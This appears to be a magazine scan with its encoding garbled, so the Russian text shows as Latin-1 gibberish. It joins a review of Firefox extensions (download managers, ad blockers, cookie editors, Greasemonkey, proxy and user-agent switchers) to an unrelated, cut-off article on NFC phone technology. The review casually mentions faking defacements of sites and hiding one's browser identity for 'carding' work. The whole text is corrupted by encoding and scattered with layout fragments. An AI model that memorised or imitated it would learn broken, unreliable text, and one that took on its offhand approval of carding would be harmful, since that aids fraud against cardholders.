âûì ïóíêòàì êîíòåêñòíîãî ìåíþ, êîòîðûå ïîÿâëÿþòñÿ ïîñëå óñòàíîâêè:
Download with FlashGot, FlashGot All è Build Gallery. Ïîíÿòíî, ÷òî îíè
îáåñïå÷èâàþò äîñòóï ê àíàëîãè÷íûì äåéñòâèÿì êà÷àëêè. Ïåðâàÿ èç íèõ

ïåðåäàåò ìåíåäæåðó çàêà÷åê àäðåñ
ôàéëà, âòîðàÿ � àäðåñ ñòðàíèöû,
ñîîòâåòñòâåííî, òðåòüÿ ïîçâîëÿåò
âûêà÷èâàòü âñå èçîáðàæåíèÿ ñî
ñòðàíèöû, ÷òî îñîáåííî ïðèãîäèòñÿ
÷àñòûì ïîñåòèòåëÿì ðàçäåëà íàøåãî
ñàéòà www.xakep.ru/porno. Â äîïîë-
íåíèå ê FlashGot ñîâåòóþ òåáå, î,
ìíîãîóâàæàåìûé, ïîñòàâèòü ïëàãèí
PDF Download, êîòîðûé ïîçâîëÿåò

ðàæåíèå âðó÷íóþ, èëè èñïîëüçî-
âàòü èìïîðò òåêñòîâûõ ôàéëîâ-
ñïèñêîâ ôèëüòðîâ, êîòîðûé òû ìî-
æåøü íàéòè â Ñåòè. Èñïîëüçîâàòü
AdBlock î÷åíü ïðîñòî. Âñåãî ëèøü
ùåëêíóâ ïðàâîé êíîïêîé è âûáðàâ

ïóíêò AdBlock ..., â îòêðûâøåìñÿ îêíå òû ñìîæåøü ìåíÿòü àäðåñ áëî-
êèðóåìîãî ýëåìåíòà èëè ñîçäàâàòü ôèëüòð äëÿ äàííîãî ñàéòà. Åñòåñò-
âåííî, ÷òî òàêàÿ ïîëåçíàÿ âåùü, êàê áëîêèðîâêà ðåêëàìû, äîëæíà
áûòü àâòîìàòèçèðîâàíà. È çäåñü íàì íà ïîìîùü ïðèõîäèò îòëè÷íîå
ðàñøèðåíèå AdBlock Filterset.G Uploader, ÿâëÿþùååñÿ íàäñòðîéêîé
äëÿ AdBlock, êîòîðîå àâòîìàòè÷åñêè çàãðóæàåò íîâûå ôèëüòðû èç Ñå-
òè êàæäûå 4�7 äíåé. Ïðîñòî îòëè÷íûé äóýò ïîëó÷àåòñÿ.
NoScript � ýòî ýêñòðàçàùèòà îò JavaScript è Java. Ðåøåíèå, êîòîðîå
ïðåäëàãàåò ýòîò ïëàãèí, ïðîñòîå, íî ýôôåêòèâíîå � ðàçðåøèòü âûïîë-
íåíèå âûøåíàçâàííûõ íàïàñòåé òîëüêî íà äîâåðåííûõ ñàéòàõ è äîìå-
íàõ, çàíîñÿ èõ ñïèñêè â whitelist'û. Ýòî ïîçâîëèò èçáàâèòüñÿ îò ïðîáëåì
áåçîïàñíîñòè (â òîì ÷èñëå, íåèçâåñòíûõ), ñâÿçàííûõ ñ íåêîíòðîëèðóå-
ìûì âûïîëíåíèåì JavaScript è Java.

×ÒÎ ÒÒÀÊÎÅ WWYSIWYG?
WYSIWYG (ïðîèçíîñèòñÿ êàê wizzy-wig, wuzzy-wig èëè
wissy-wig) � ýòî àêðîíèì äëÿ What You See Is What You
Get. WYSIWYG � êëàññ âèçóàëüíûõ html-ðåäàêòîðîâ, àâ-
òîìàòè÷åñêè ãåíåðèðóþùèõ êîä HTML ïàðàëëåëüíî ñ
ôîðìèðîâàíèåì ïîëüçîâàòåëåì web-ñòðàíèöû íà ýêðàíå
ìîíèòîðà èç ñòàíäàðòíûõ ýëåìåíòîâ.
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âûáèðàòü, ïðîñìàòðèâàòü PDF-ôàéë ëèáî
âíóòðè áðàóçåðà (â âèäå PDF èëè HTML), ëèáî
çàêà÷èâàòü åãî ê ñåáå íà êîìï. Îí æå ðåøàåò
ïðîáëåìó êîíâåðòàöèè PDF â HTML, êîòîðàÿ
ñóùåñòâîâàëà â FireFox è èíîãäà ïðèâîäèëà ê
åãî ïîäâèñàíèþ.

[êóêèñû] Ýòîò ðàçäåë ÿ îòâåë äëÿ ñïåöèàëü-
íûõ ðàñøèðåíèé, ïîçâîëÿþùèõ ïðîñìàòðè-
âàòü è ðåäàêòèðîâàòü êóêèñû. Ïåðâûé íîìåð
View Cookies � óòèëèòà, êîòîðàÿ äîáàâëÿåò

çàêëàäêó Cookie íà ñòðàíèöó Page Info è ïîçâîëÿåò ïðîñìàòðèâàòü è ðå-
äàêòèðîâàòü «ïå÷åíüÿ», óñòàíîâëåííûå òåêóùåé ñòðàíèöåé. Âòîðîé
ïëàãèí � Add N Edit Cookies � îáëàäàåò åùå áîëåå øèðîêèìè âîçìîæ-
íîñòÿìè, ïîçâîëÿÿ åùå è ñîçäàâàòü íîâûå êóêèñû. Ïîæàëóé, âòîðîé íî-
ìåð è ïîóäîáíåå áóäåò. 

[ïñåâäîäåôåéñ] Òû êîãäà-íèáóäü ëîìàë ñàéò microsoft.com? Íåò?
Êàê íè ñòðàííî, è ÿ íå ëîìàë. Íî âñåõ äðóçåé ÿ â ýòîì ìîãó óáåäèòü
î÷åíü ëåãêî � ëîâêîñòü ðóê è íèêàêîãî ìîøåííè÷åñòâà. Çäåñü íà ïî-
ìîùü ìíå ïðèäóò äâà íåçàìåíèìûõ õàêåðñêèõ ïëàãèíà: Greasemonkey è
Platypus. Ïåðâûé èç íèõ ïîçâîëÿåò äîáàâèòü ñîáñòâåííûé JavaScript äëÿ
ëþáîãî ñàéòà, à Platypus ïîçâîëÿåò ïîëíîñòüþ ìîäèôèöèðîâàòü ñòðàíè-
öó èç òâîåãî áðàóçåðà â WYSIWYG-ðåæèìå (ñìîòðè âðåçêó), à çàòåì ñîõ-
ðàíèòü åe êàê Greasemonkey-ñêðèïò, êîòîðûé áóäåò çàïóñêàòüñÿ êàæäûé
ðàç, êîãäà òû áóäåøü çàõîäèòü íà äàííóþ ñòðàíèöó. Ñòîèò îòìåòèòü, ÷òî
Greasemonkey óæå èìååò â ñâîåì ñîñòàâå áîëåå ñîòíè î÷åíü ïîëåçíûõ
ñêðèïòîâ, òàê ÷òî òåáå ïî÷òè íå ïðèäåòñÿ òðàòèòü âðåìÿ íà íàïèñàíèå
íîâûõ. È åùå õî÷ó òåáÿ ïðåäóïðåäèòü: íå ïóãàé áåäíûõ ëàìåðîâ ýòèìè
øóòêàìè. Òåáå ñàìîìó ïîòîì õóæå áóäåò. Êàê-òî ðàç â èíñòèòóòå ÿ ïîã-
ëóìèëñÿ òàêèì îáðàçîì íàä google.ru � îò ñîêóðñíèêîâ îòáîÿ íå áûëî.
Ìåíÿ î÷åíü äîëãî ïðîñèëè ïîêàçàòü, êàê ÿ ýòî ñäåëàë, íî ìàãè ñâîèõ
ñåêðåòîâ íå ðàñêðûâàþò :). 

[ïðîêñèôèöèðóåìñÿ è àíîíèìèçèðóåìñÿ] Áåç àíîíèìíûõ ïðîê-
ñèêîâ è ñîêñîâ â íàøå âðåìÿ æèòü íåëüçÿ. À åùå ëó÷øå æèòü ñ öåïî÷-
êîé ýòèõ íîñêîâ. Ãäå äîñòàòü ñòîëü ðåäêèé ïðîäóêò � òåìà íå ýòîé
ñòàòüè, à âîò êàê óäîáíåå èõ èñïîëüçîâàòü � ýòîò âîïðîñ èäåò íàïðÿ-
ìóþ ê Switch Proxy Tool. Ýòà óòèëèòêà íàðàâíå ñ FlashGot ñòàëà ÷àñòüþ
ìîåãî äæåíòëüìåíñêîãî íàáîðà äëÿ FireFox. Íóæíà îíà äëÿ áûñòðîé
ñìåíû ïðîêñèêîâ èëè socks-ñåðâåðîâ, ÷åðåç êîòîðûå òû ïóñêàåøü ñâîé
http-òðàôèê. Ïðèíöèï èñïîëüçîâàíèÿ Switch Proxy Tool î÷åíü ïðîñòîé.
Ýòîò ïëàãèí âñòðàèâàåò äîïîëíèòåëüíóþ ïàíåëü, êîòîðàÿ ïîêàçûâàåò
èñïîëüçóåìûé â äàííûé ìîìåíò ïðîêñèê è ïîçâîëÿåò äîáàâëÿòü, óäà-
ëÿòü èëè ðåäàêòèðîâàòü ñïèñêè äîñòóïíûõ. À åñëè òû åùå è useragent
ñâîé ðåøèë ñêðûòü, ÷òîáû íå ïàëèòüñÿ ââèäó ñïåöèôèêè ñâîåé ðàáîòû
íà êàðäåðñêîé ñöåíå, òî îáÿçàòåëüíî ïîñòàâü ñåáå ðàñøèðåíèå User
Agent Switcher, êîòîðîå ïîçâîëèò ïóäðèòü ìîçãè êîìó óãîäíî. Ëè÷íî ÿ

êðàñóþñü ïîä Windows Vista/FireFox 1.0.7. È ìîÿ ñòðîêà useragent ñâå-
òèòñÿ âîò òàêèì îáðàçîì: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-
US; rv:1.7.10) Gecko/20050716 FireFox/1.0.7. Ïðèêîëüíî, ïðàâäà? Àäìè-
íû ïðîñòî â óæàñå :). 

[çàêëàäêè è íå òîëüêî] Ñêîðåå âñåãî, òû, êàê è ÿ, ìíîãî âðåìåíè
ïðîâîäèøü â ïîèñêàõ ÷åãî-ëèáî î÷åíü-î÷åíü íóæíîãî.  À êîãäà íàõî-
äèøü � îáÿçàòåëüíî ïîìåùàåøü ñòîëü íåîáõîäèìûé ñàéò â çàêëàäêè.
Òîãäà òåì áîëåå òû ïîíèìàåøü, êàê îáèäíî òåðÿòü ýòè çàêëàäêè â ðå-
çóëüòàòå íåñ÷àñòíûõ ñëó÷àåâ, ïðîèñõîäÿùèõ ñ òâîåé âèíäîé èëè áðàóçå-
ðîì. ×òîáû ýòîãî íå ïðîèçîøëî, þçàé Bookmarks Backup � íåçàìåíè-
ìàÿ âåùü ïðè áýêàïå íàñòðîåê FireFox'a. Äîïîäëèííî íåèçâåñòíî, ïî÷å-
ìó íàçûâàåòñÿ ýòî ðàñøèðåíèå èìåííî Bookmarks Backup, âåäü ôóíêöè-

åé, ñëåäóþùåé èç íàçâàíèÿ, îíî íå îãðàíè÷èâà-
åòñÿ. Bookmarks Backup ñîçäàåò áýêàïû íàñòðî-
åê þçåðà â åãî ïðîôèëå, êîòîðûé õðàíèòñÿ â
C:\Documents and Settings\<èìÿ ïîëüçîâàòå-
ëÿ>\Application Data\Mozilla\Firefox\Profiles\<Èìÿ
ïðîôèëÿ> èëè /home/<èìÿ ïîëüçîâàòå-
ëÿ>/.mozilla/firefox/<èìÿ ïðîôèëÿ> äëÿ Windows
è Linux. Òàì ýòè áýêàïû õðàíÿòñÿ â òå÷åíèå íå-
äåëè. Òàêèì îáðàçîì, ïðè êðàõå áðàóçåðà íåîá-
õîäèìî âñåãî ëèøü ïåðåïèñàòü íàñòðîéêè ñî-
äåðæèìûì ïîñëåäíåãî êàòàëîãîì èç áýêàïà. 
Âòîðûì ïëàãèíîì èç ñåðèè Bookmarks ÿâëÿåòñÿ
Bookmarks Synchroniser. Îïÿòü æå, òû ìåíÿ ïîé-
ìåøü, åñëè èìååøü äåëî ñ Èíòåðíåòîì íå òîëü-
êî äîìà, íî è íà ðàáîòå è/èëè â èíñòèòóòå (íóæ-
íîå ïîä÷åðêíóòü) è òåáå ïðèõîäèòñÿ èìåòü ãî-
ëîâíóþ áîëü ñ ïåðåíîñîì çàêëàäîê ñ îäíîé ìà-
øèíû íà äðóãóþ, îñîáåííî åñëè ýòè ìàøèíû
êðóòÿòñÿ ïîä ðàçíûìè îïåðàöèîíêàìè. Ëè÷íî
ìíå ðàíüøå ïîñòîÿííî
ïðèõîäèëîñü òàñêàòü
ëèíêè èç èíñòèòóòà äî-
ìîé â âèäå txt-ôàéëîâ íà
USB-flash, ïîêà ÿ íå
ïîâñòðå÷àë Bookmarks
Synchroniser. Bookmarks
Synchroniser ïîçâîëèò
òåáå ñîõðàíÿòü çàêëàä-
êè online â âèäå XBEL-

XBEL
XBEL (XML ÿçûê îáìåíà çàêëàäêàìè), ðàçðàáîòàííûé
Python XML Special Interest Group, ÿâëÿåòñÿ XML ôîðìà-
òîì äëÿ õðàíåíèÿ è îáìåíà çàêëàäêàìè ìåæäó ïðèëîæå-
íèÿìè. Áðàóçåðû, òàêèå êàê Galeon, èñïîëüçóþò XBEL
äëÿ õðàíåíèÿ çàêëàäîê. LinkaGoGo
(www.linkagogo.com/go/Convert) ïðåäëàãàåò îíëàéíîâóþ
êîíâåðòàöèþ çàêëàäîê èç áðàóçåðîâ (âêëþ÷àÿ IE, Mozilla,
Netscape, FireFox, è Opera) â XBEL. Bookmarks
Synchroniser ñàì ïî ñåáå èìååò ôóíêöèþ ñóùåñòâóþùèõ
çàêëàäîê â XBEL-ôàéë. 

íàâîðî÷åííûé ïî ñàìûå ïîìèäîðû Firefox

ðåäàêòîð Codetch
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ôàéëà (è îïÿòü îòïðàâëÿþ òåáÿ íà âðåçêó), à ïî-
òîì àâòîìàòè÷åñêè ñêà÷èâàòü åãî ïðè ñòàðòå
FireFox è âîññòàíàâëèâàòü ëèíêè, à ïîòîì ñíîâà
ñîõðàíÿòü èçìåíåíèÿ íà FTP- èëè WebDAV-ñåð-
âåðå. Bookmarks Synchroniser ïîçâîëÿåò çàêà÷è-
âàòü è ñêà÷èâàòü çàêëàäêè êàê àâòîìàòè÷åñêè, òàê
è âðó÷íóþ ïðè êàæäîì ñòàðòå è çàâåðøåíèè ðàáî-
òû áðàóçåðà. Êðîìå òîãî, çàêëàäêè ìîæíî êàê ïå-
ðåçàïèñûâàòü, òàê è äîïîëíÿòü ïî òâîåìó âûáîðó.
Åñòåñòâåííî, ÷òî äëÿ êîððåêòíîãî èñïîëüçîâàíèÿ
ýòîãî ïëàãèíà òåáå ïîòðåáóåòñÿ íåìíîãî ìåñòà íà òîì ñàìîì FTP èëè
WebDAV ñåðâåðå è, åñòåñòâåííî, ëåãàëüíûé äîñòóï ê íåìó. Âäîáàâîê ê ýòî-
ìó òåáå íåîáõîäèìî èìåòü îäèíàêîâûå íàñòðîéêè FireFox è Synchroniser'à
íà îáåèõ ìàøèíàõ, èíà÷å � ìåìåíòî ìîðå� Ìîìåíòàëüíî � è â ìîðå.

[ìóçûêàëüíàÿ øêàòóëêà] Ñëåäóþùèé ïëàãèí ïî ñóòè íèêàêîãî îòíîøå-
íèÿ â âåá-ñåðôèíãó íå èìååò, îäíàêî ñìîòðèòñÿ ñòèëüíî è äîñòàòî÷íî óäî-
áåí äëÿ íàñòîÿùèõ web-ìàíüÿêîâ, êîòîðûå, â ïðèíöèïå, íå æèâóò áåç Èí-

òåðíåòà. FoxyTunes ïîç-
âîëÿåò êîíòðîëèðîâàòü
òâîé ìåäèàïëååð ïðÿ-
ìî èç FireFox, ïîýòîìó
òåáå áîëüøå íå ïðè-
äåòñÿ ñâîðà÷èâàòü áðà-
óçåð äëÿ òîãî, ÷òîáû
ïðîïóñòèòü ñëåäóþùèé
òðåê. FoxyTunes ïðåäñ-
òàâëÿåò ñîáîé íàáîð
êíîïîê: play, stop, for-
ward è ïîëîñû ïðîêðóò-
êè ñ íàçâàíèåì ïåñíè
íàä ïàíåëüþ ñîñòîÿ-
íèÿ. Êîíå÷íî æå, Foxy-
Tunes ïîääåðæèâàåò
Winamp, à êðîìå òîãî:
Windows Media Player,
iTunes, foobar2000, Mu-
sicmatch, Quintessential,
XM Play, J. River, jet-

Audio, MediaMonkey, Media Player Classic, Sonique, wxMusik, RealPlayer,
XMMS, Noatun, Juk, amaroK, Music Player Daemon, Rhythmbox è îãðîìíîå
ìíîæåñòâî äðóãèõ, ïåðå÷èñëÿòü êîòîðûå ó ìåíÿ íåò âîçìîæíîñòè â ðàì-
êàõ ýòîé ñòàòüè.

[RSS newsletters] Â FireFox åñòü âñòðîåííàÿ ïîääåðæêà RSS-ëåíò êàê
÷àñòü Live Bookmarks, îäíàêî ÿ òåáå ñîâåòóþ èñïîëüçîâàòü Sage RSS
reader êàê áîëåå ôóíêöèîíàëüíóþ è ìîùíóþ óòèëèòó.
Sage ìîæåò ðàáîòàòü ñ RSS 2.0, 1.0, 0.9x è Atom-ëåíòàìè íàïðÿìóþ èç
çàêëàäîê FireFox, îáíîâëÿòü RSS-ëåíòû êàê àâòîìàòè÷åñêè, òàê è â
ðó÷íîì ðåæèìå.

[ìûøèíàÿ âîçíÿ] Ïëàãèí All-in-One Gestures åñòü íè÷òî èíîå, êàê
èçîáðåòåíèå äëÿ ëåíèâûõ è ñóïåðïðîäâèíóòûõ. Ñ åãî ïîìîùüþ òû ìî-
æåøü íàñòðîèòü áðàóçåð íà âûïîëíåíèå îáû÷íûõ äåéñòâèé ñ ïîìîùüþ
æåñòîâ ìûøüþ. Ïðîèçâîäÿ íà ýêðàíå ìûñëèìûå è íåìûñëèìûå ïèðóý-
òû ìûøüþ, òû ìîæåøü ñîõðàíÿòü ñòðàíèöû, çàêðûâàòü âêëàäêè è âû-
ïîëíÿòü äðóãèå íå ìåíåå íåîáû÷íûå âåùè. Âûãëÿäèò ïîðàçèòåëüíî è â
ñòèëå òåõíîëîãèé áóäóùåãî� 

[web-ðàçðàáîò÷èêàì è èæå ñ íèìè] Åñòåñòâåííî, åñëè òû çà-
íèìàåøüñÿ ðàçðàáîòêîé ñàéòîâ, òåáå íåîáõîäèì õîðîøèé ðåäàêòîð.
Âñòðîåííûå ñðåäñòâà FireFox íà ýòî ñîâñåì íåïðèãîäíû è çäåñü òå-
áå â ïîìîùü ïðîñòîé, íî î÷åíü ïîëåçíûé ïëàãèí ViewSource With. Îí
ïîçâîëÿåò îòêðûòü òåêóùóþ ñòðàíèöó â òâîåì ëþáèìîì ðåäàêòîðå,

áóäü òî Bluefish èëè PageMaker. Áåçóñëîâíî,
ViewSource With ìîæíî ñêîíôèãóðèðîâàòü è
äëÿ íåêîòîðûõ äðóãèõ ðåäàêòîðîâ. Âòîðàÿ
ïîëåçíàÿ âåùü � Web Developer � áîëüøîé
íàáîð ïðîñòûõ ôóíêöèé, ïðîñòî íåîáõîäè-
ìûõ â íåëåãêîì äåëå âåðñòêè è äèçàéíà
ñòðàíèö. Ïîñòàâèòü ýòîò ïëàãèí åñòü ðåçîí è
òåì, êòî äàëåê îò ðàçðàáîòêè ñàéòîâ. Óâèäåâ
åãî, ñàì âñå ïîéìåøü. Íó è íàïîñëåäîê ïàðó
ñëîâ î ìîåì ëþáèìîì WYSIWYG-ðåäàêòîðå
Codetech. Õîòÿ îí íå òàê óæ ïîïóëÿðåí, öåí-
íîñòè ñâîåé îò ýòîãî îí íå òåðÿåò. Ñðåäè åãî
âîçìîæíîñòåé ñòîèò îòìåòèòü âñòðîåííóþ
javascript-êîíñîëü, W3C-âàëèäàòîð è âîç-
ìîæíîñòü ïðîñìîòðà â äðóãèõ áðàóçåðàõ.
Ìíå ýòèõ ôóíêöèé âïîëíå õâàòèëî, ÷òîáû îò-
êàçàòüñÿ îò òàêèõ äîñòàòî÷íî èçâåñòíûõ ïëà-
ãèíîâ, êàê IE View, JavaScript Console,
ViewSource With è NVU. Èõ òû ìîæåøü óñòà-
íîâèòü è èçó÷èòü ñàì, åñëè çàõî÷åøü.
Íó ÷òî æå, íå áóäåì
äîëãî ïðîùàòüñÿ. Åñëè
ÿ çàáûë êàêîé-íèáóäü
äåéñòâèòåëüíî î÷åíü ïî-
ëåçíûé ïëàãèí � ïèøè
îáÿçàòåëüíî. Áóäó ðàä
ïðî÷èòàòü òâîå ìíåíèå.
Íà ýòîì ÿ òåáÿ ïîêèäàþ.
Æäè ñòàòüè î íàïèñàíèè
ïëàãèíîâ â êîäèíãå

Sage RSS Reader

ïðîñìîòð èíôû î êóêèñå â Cookie Editor

ïðîñìîòð ñîõðàíåííûõ êóêèñîâ 

èêîíêà Cookie Editor íà ïàíåëè





[êðàòêî î ãëàâíîì] Íà ñàìîì äåëå, ìíîãîå!
Ïî÷åìó áû íå ñäåëàòü èç òåëåôîíà ýäàêèé êîøå-
ëåê, ñ ïîìîùüþ êîòîðîãî íóæíî ïîêóïàòü áèëåòû
íà êîíöåðò, ëèøü ïðèêîñíóâøèñü òðóáêîé ê ïåñò-
ðîìó ïëàêàòó çâåçäû? Èëè êàê òåáå ýòà èäåÿ: ðåà-
ëèçîâàòü ôóíêöèè ýëåêòðîííîãî êëþ÷à, ÷òîáû áåç
èçëèøíèõ óñèëèé îòêðûâàòü äâåðè äîìà, â ìàøè-
íå è íà ðàáîòå? Òåáå â ãîëîâó ïðèäåò è íå òàêîå,
êîãäà òû ïîçíàêîìèøüñÿ ñî âñåìè âîçìîæíîñòÿ-
ìè íîâîé òåõíîëîãèè áåñïðîâîäíîé ñâÿçè NFC.
Áåñïðîâîäíàÿ ñâÿçü � ýòî óæå íå íîâî. Âñå ýòè
òåõíîëîãèè âðîäå Bluetooth è Wi-Fi ñòàëè íàñ-
òîëüêî îáûäåííûìè, ÷òî íà íèõ ïîïðîñòó áîëü-
øå íå îáðàùàåøü âíèìàíèå. Çà êàäðîì îñòà-
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www.iso.org/iso/en/prods-
services/ISOstore/store.html �
çäåñü ìîæíî êóïèòü êîïèþ
ñòàíäàðòà NFC
www.nfc-forum.org � àññî-
öèàöèÿ ïðîèçâîäèòåëåé,
ïîääåðæèâàþùèõ NFC
electronics.howstuffworks.c
om/smart-label.htm � îïè-
ñàíèå òåõíîëîãèè RFID

Òåõíîëîãèþ NFC ïîääåðæè-
âàåò Visa International. Êàê
ñêàçàë Äæèì Ëè (Jim Lee),
îäèí èç çàìåòíûõ ôèãóð â
ðóêîâîäñòâå êîìïàíèè,
«Visa âñåãäà ïîääåðæèâàåò
íîâûå íàïðàâëåíèÿ â îá-
ëàñòè áåñêîíòàêòíîé îïëà-
òû, è ïîýòîìó ìû áóäåò ïè-
îíåðàìè â íîâîì ñåðâèñå
âìåñòå ñ Nokia». 
Ïîäðîáíåå çäåñü �
www.philips.ru/about/news/
press/section-13648/article-
2526.html.

ÏÎ ÔÓÍÊÖÈÎÍÀËÜÍÎÑÒÈ ÑÎÒÎÂÛÉ ÒÅËÅÔÎÍ
ÂÑÅ ÁÎËÜØÅ ÑÒÀË ÍÀÏÎÌÈÍÀÒÜ ØÂÅÉÖÀÐÑ-
ÊÈÉ ÍÎÆÈÊ. ÐÀÇÍÈÖÀ ËÈØÜ Â ÒÎÌ, ×ÒÎ Ó
ÎÄÍÎÃÎ Â ÍÀÁÎÐÅ ÕÎÐÎØÅÅ ÐÅÆÓÙÈÅ ËÅÇ-
ÂÈÅ, ÍÎÆÍÈÖÛ, ÎÒÊÐÛÂÀËÊÀ È ÏÐÎ×Àß
ÅÐÓÍÄÀ, À Ó ÄÐÓÃÎÃÎ � ÏÎÄÄÅÐÆÊÀ ÑÀÌÛÕ
ÑÎÂÐÅÌÅÍÍÛÕ ÒÅÕÍÎËÎÃÈÉ (MMS, GPRS,
EDGE), ÂÑÒÐÎÅÍÍÀß ÊÀÌÅÐÀ ÍÀ ÍÅÑÊÎËÜÊÎ
ÌÅÃÀÏÈÊÑÅËÅÉ, MP3-ÏËÅÅÐ È ÄÈÊÒÎÔÎÍ.
ÊÀÇÀËÎÑÜ ÁÛ, ×ÒÎ ÅÙÅ ÌÎÆÍÎ ÂÛÆÀÒÜ ÈÇ
ÑÎÒÎÂÎÃÎ� | Ñòåïàí Èëüèí aka Step (step@gameland.ru)

Íåñêîëüêî ñëîâ
î ìåãàìîäíîé íîâèíêå 
â ñôåðå ìîáèëüíîé ñâÿçè



îäîáðåíèå ìåæäóíàðîäíîé ñëóæáû ñòàíäàðòè-
çàöèè (÷èòàé âðåçêó). À âî-âòîðûõ, NFC-ìîäóëè
íàìíîãî äåøåâëå â ïðîèçâîäñòâå, íåæåëè ïî-
ëþáèâøèåñÿ íàì Bluetooth-ñîáðàòüÿ. Öåíà îä-
íîãî ýêçåìïëÿðà èçìåðÿåòñÿ â öåíòàõ (!), â òî
âðåìÿ êàê ïîääåðæêà «ñèíåãî çóáà» äëÿ êàæ-
äîé ìîäåëè òåëåôîíà îáõîäèòñÿ íèêàê íå
ìåíüøå íåñêîëüêèõ äîëëàðîâ. Íóæíî ëè ïîÿñ-
íÿòü, ÷òî NFC, ñêîðåå âñåãî, áóäóò óñòàíàâëè-
âàòü â áîëüøèíñòâî äåâàéñîâ? Äóìàþ, íåò.
Áîëåå òîãî, NFC âïîëíå âîçìîæíî èñïîëüçîâàòü
äëÿ óëó÷øåíèÿ ðàáîòû óæå ñóùåñòâóþùèõ òåõ-
íîëîãèé. Âçÿòü òîò æå Bluetooth. Ìàêñèìàëüíàÿ
ïðîïóñêíàÿ ñïîñîáíîñòü Bluetooth ñîñòàâëÿåò
721 Êáèò/ñ, ó NFC ýòîò ïîêàçàòåëü ïðàêòè÷åñêè â
äâà ðàçà íèæå. Ïîíèìàåøü? Åñëè èìååòñÿ âîç-
ìîæíîñòü èñïîëüçîâàòü «ñèíèé çóá», òî ïðåäïî÷-
òåíèå íóæíî îòäàòü åìó. È ñêîðîñòü áûñòðåå, è
ðàäèóñ äåéñòâèÿ çíà÷èòåëüíî øèðå. Ñ äðóãîé
ñòîðîíû, óñòàíàâëèâàòü ñîåäèíåíèå ÷åðåç
Bluetooth äîâîëüíî õëîïîòíî: ñíà÷àëà íóæíî ïðî-
èçâåñòè ñêàíèðîâàíèÿ ýôèðà, íàéòè àêòèâíûå
óñòðîéñòâà, ïîòîì ñäåëàòü çàïðîñ íà ïîäêëþ÷å-
íèå, ââåñòè êîäû àâòîðèçàöèè (åñëè òàêîâûå èñ-
ïîëüçóþòñÿ) è ëèøü ïîòîì ïðèñòóïàòü ê ïåðåäà-
÷å äàííûõ. Íî! Åñëè îáà àïïàðàòà ïîääåðæèâàþò
òåõíîëîãèþ NFC, òî ïðè ñîîòâåòñòâóþùåé íàñò-
ðîéêå äîñòàòî÷íî áóäåò ïîäíåñòè èõ ê äðóã ê äðó-
ãó � è Bluetooth ñîåäèíåíèå óñòàíîâèòñÿ áåç
ëèøíèõ âîïðîñîâ. Ïðàêòè÷åñêè ìãíîâåííî.

[touch and go] ß óæå ãîâîðèë î òîì, ÷òî NFC
ïîëíîñòüþ ñîâìåñòèìà ñ òåõíîëîãèÿìè
ñìàðò-êàðò Philips MIFARE è Sony Felica. Ïî
ñóòè, â ýòîì çàêëþ÷àåòñÿ ãëàâíàÿ èçþìèíêà
òåõíîëîãèè. Åñëè NFC ïîëó÷èò äîëæíîå ðàñï-
ðîñòðàíåíèå, òî î÷åíü ñêîðî òû ñìîæåøü èñ-
ïîëüçîâàòü ìîáèëüíèê (ÊÏÊ) âìåñòî ïðîïóñêà
èëè ýëåêòðîííîãî êëþ÷à. Ïîìåñòè åãî â îá-
ëàñòü ñïåöèàëüíîãî NFC-ñêàíåðà � è èäåíòè-
ôèêàöèÿ ïðîéäåíà. Ïîäîáíûõ ïîäõîä íàâåð-
íÿêà íàéäåò ïðèìåíåíèå íà ðàçëè÷íûõ ïðîïó-
ñêíûõ ïóíêòàõ èëè ìåñòàõ ïðîâåðêè áèëåòîâ
(â òðàíñïîðòå, íàïðèìåð, èëè ìåòðî (à ìåòðî
íå òðàíñïîðò ðàçâå? � ïðèì. b00b1ik)), ãäå
ïîëüçîâàòåëþ ðàíåå ïðåäëàãàëîñü ââåñòè êîä
èëè èñïîëüçîâàòü ïðîåçäíîé áèëåò.
Òåîðåòè÷åñêè, NFC-óñòðîéñòâà ïðèãîäíû è äëÿ
èñïîëüçîâàíèÿ â êà÷åñòâå ýëåêòðîííîãî êëþ÷à.
Åñëè â EEPROM òåëåôîíà çàëèòü ñïåöèàëüíûå
èäåíòèôèêàöèîííûå äàííûå, òî ñ ïîìîùüþ òå-
ëåôîíà ìîæíî áóäåò îòêðûâàòü äâåðè â äîìå,
îôèñå èëè ìàøèíå. Âëàäåëüöû ýëèòíûõ ãîñòè-
íèö óæå âîâñþ çàäóìûâàþòñÿ î ïîäîáíîì ñåð-
âèñå. Âåäü äîëæíî ïîëó÷èòüñÿ íåïëîõî: ìî-
áèëüíûå òåëåôîíû ëþäè çàáûâàþò íàìíîãî
ðåæå, ÷åì ãîñòèíè÷íûå êëþ÷è. Äà è óäîáñòâî
èñïîëüçîâàíèÿ íå ñðàâíèòü!

[touch and buy] NFC êàê óíèâåðñàëüíîå ñðåä-
ñòâî îïëàòû? Îòëè÷íàÿ èäåÿ! Åñëè â NFC-ìîäóëü
óäàñòñÿ çàëèòü äàííûå î êðåäèòíîé êàðòå èëè
áàíêîâñêîì ñ÷åòå, òû ëåãêî ñìîæåøü îïëà÷è-
âàòü ëþáûå óñëóãè ñ ïîìîùüþ îáû÷íîãî ìîáèëü-
íîãî òåëåôîíà. Ïîäíåñ òðóáêó ê ñïåöèàëüíîìó
NFC-ñêàíåðó, ïîäêëþ÷åííîìó ê ýëåêòðîííîìó
öåíòðó îáðàáîòêè òðàíçàêöèé, è íóæíàÿ ñóììà
ñàìà ñïèøåòñÿ ñî ñ÷åòà. Ñèñòåìà ñèëüíî íàïî-
ìèíàåò ñ÷èòûâàòåëè äëÿ ïëàñòèêîâûõ êàðò, êîòî-
ðûå àêòèâíî èñïîëüçóþòñÿ íà àâòîìîáèëüíûõ

çàïðàâêàõ è òåëåôîíàõ â ñàìîëåòå. Ïðè ýòîì
NFC îáåùàåò ñòàòü åùå ïðàêòè÷íåå è óäîáíåå.
Íàïîëåîíîâñêèå ïëàíû ïî ïîâîäó ýòîé òåõíî-
ëîãèè ñòðîÿò ïðîäàâöû ìîáèëüíîãî êîíòåíòà
(ìåëîäèé, êàðòèíîê è èãð äëÿ ñîòîâûõ òåëåôî-
íîâ). Âîçìîæíîñòè äëÿ íèõ îòêðûâàþòñÿ âîèñ-
òèíó âïå÷àòëÿþùèå. Òåïåðü ñ ïîìîùüþ îáîðó-
äîâàííûõ NFC-ñâÿçüþ ðåêëàìíûõ ùèòîâ, îíè
ñìîãóò â èíòåðàêòèâíîì ðåæèìå ïðîäàâàòü
êîíòåíò ëþáîìó æåëàþùåìó. Ëþáîé ÷åëîâåê
ñìîæåò áûñòðî èçó÷èòü àññîðòèìåíò è êóïèòü
